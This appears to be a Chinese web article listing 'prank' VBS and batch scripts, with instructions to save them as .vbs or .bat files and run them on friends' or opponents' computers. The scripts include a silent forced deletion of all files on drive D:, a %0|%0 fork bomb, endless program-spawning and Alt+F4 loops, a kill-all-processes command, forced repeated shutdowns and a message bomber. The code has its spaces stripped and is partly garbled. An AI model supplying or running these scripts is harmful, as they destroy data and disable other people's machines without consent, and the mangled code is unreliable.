整人vbs代码三十二个vbs整蛊代码 _经验知识

大家好。我是白云。
给大家整理一些恶搞代码。谨慎使用！小心没朋友。
1. 电脑死机
打开无数个计算器。直到死机
setwsh=createobject("wscript.shell")dowsh.run"calc'loop

文章插图
无限次数轰炸
吵架神器。直接让对手无话可说【建文本格式。修改后缀名为vbs直接使用】
SetWshShell=WScript.CreateObject("WScript.Shell")WshShell.appActivate"7"fori=1to99WScript.Sleep99WshShell.SendKeys"^v"WshShell.SendKeysiWshShell.SendKeys"%s"Next

文章插图
删除D:\所有文件
dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd/c"deld:\*.*/f/q/s""",0,true

文章插图
不断按下alt+f4 (开什么都关闭… ）
dimWSHshellsetWSHshell=wscript.createobject("wscript.shell")while(1)WSHshell.SendKeys”%{F4}”loop

文章插图
电脑直接蓝屏
保存为Bat 。运行(一些杀毒软件会报告为木马)
taskkill/f/fi"pidne1"

文章插图
光驱无限弹出
保存成VBS 。运行。你的光驱就会无限弹出(没有光驱的电脑不行哦)
setwmp=createobject("wmplayer.ocx")setcd=wmp.cdromcollection.item(0)docd.ejectloop

文章插图
无限弹窗
文本格式输入。修改后缀名为bat直接运行
:startstartcmdgotostart

文章插图
电脑报数
将他复制粘贴在记事本中。然后保存成VBS代码运行后电脑就会从0开始报数…
SetS=Create0bject("sapi.spvoice")i=0doS.speakii=i+1loop

文章插图
电脑死机2
没错,就这么多。还是保存成bat文件。运行。然后电脑就会死机(这个代码就是自己运行自己。然后电脑内存就被消耗尽了)
%0|%0

文章插图
无限曾加分盘
在记事本复制粘贴。保存成bat文件。运行。之后…
@echoofffor%%iin(abcdefghijklmn)

文章插图
没错。你会出现N个本地磁盘。但是不要慌。这个对电脑没有实际伤害。
让对方重启指定次数
@echooffifnotexistc:1.txtecho.>c:1.txt&gotoerr1ifnotexistc:2.txtecho.>c:2.txt&gotoerr1ifnotexistc:3.txtecho.>c:3.txt&gotoerr1sifnotexistc:4.txtecho.>c:4.txt&gotoerr1ifnotexistc:5.txtecho.>c:5.txt&gotoerr1gotoerr2:err1shutdown-s-t0:err2【整人vbs代码三十二个vbs整蛊代码】上面可以让对方电脑重启5次后不在重启。当然如果你修改一下加个if not exist c:6.txt echo. >c:6.txt & goto err1那就是重启6次改成7就是7次…
打开“开始→程序→附件→记事本” 。把代码部分复制进去。点“另存为” 。路径选“你想要放的地方” 。保存类型为“所有文件” 。文件名为“你想要的名字.bat” 。你的批量处理器就完成了。

文章插图
让人崩溃的关机程序
WScript.Echo("嘿。谢谢你打开我哦。我等你很久拉！"&TSName)WScript.Echo("你是可爱的XX童鞋吗?")WScript.Echo("哈,我想你拉。这你都不知道吗？")WScript.Echo("怎么才来。说~是不是不关心我")WScript.Echo("哼,我生气拉。等你这么久。心都凉啦。")WScript.Echo("夜黑很生气。后果很严重哦。")WScript.Echo("嘿嘿！你也会很惨滴哦")WScript.Echo("是不是想清除我？")WScript.Echo("那你要点上50下哦。不过会给你惊喜滴")WScript.Echo("还剩49下。快点点哦")WScript.Echo("还剩48下。快点。小笨蛋！")WScript.Echo("还剩47下对。就这样快点点！")WScript.Echo("还剩46下。你啊就是笨。要快哦。我先不打扰你工作。")WScript.Echo("还剩45下。记得要快哦！")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下")WScript.Echo("还剩28下")WScript.Echo("还剩27下")WScript.Echo("还剩26下")WScript.Echo("还剩25下")WScript.Echo("还剩24下")WScript.Echo("还剩23下")WScript.Echo("还剩22下")WScript.Echo("还剩21下")WScript.Echo("还剩20下")WScript.Echo("还剩19下")WScript.Echo("还剩18下")WScript.Echo("还剩17下")WScript.Echo("还剩16下")WScript.Echo("还剩15下")WScript.Echo("还剩14下")WScript.Echo("还剩13下停停！！！慢点。我有话要说")WScript.Echo("还剩12下。你继续点我就会消失滴")WScript.Echo("还剩11下。以后就看不到我拉。呜呜~555555")WScript.Echo("还剩10下。你现在可以选择停止！")WScript.Echo("还剩9下。你还点啊。不要我拉？")WScript.Echo("还剩8下。有点伤心拉。干嘛丢弃人家")WScript.Echo("还剩7下。疯了。你有点负意！")WScript.Echo("还剩6下。对。你就点吧。我恨你！")WScript.Echo("还剩5下。不明白。删除我你就好吗？")WScript.Echo("还剩4下！真要删除我？")WScript.Echo("还剩3下。可是我真的很眷恋你。。。")WScript.Echo("还剩2下。不要这么绝情嘛。人家是爱你的！")WScript.Echo("还剩1下。哼。既然你这么绝情。也别怪我无义！！！")WScript.Echo("我本因该消失的。不过我留恋你滴芳容。万能的上帝又给了一次机会。")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")WScript.Echo("想结束我么?那你就再多点一次")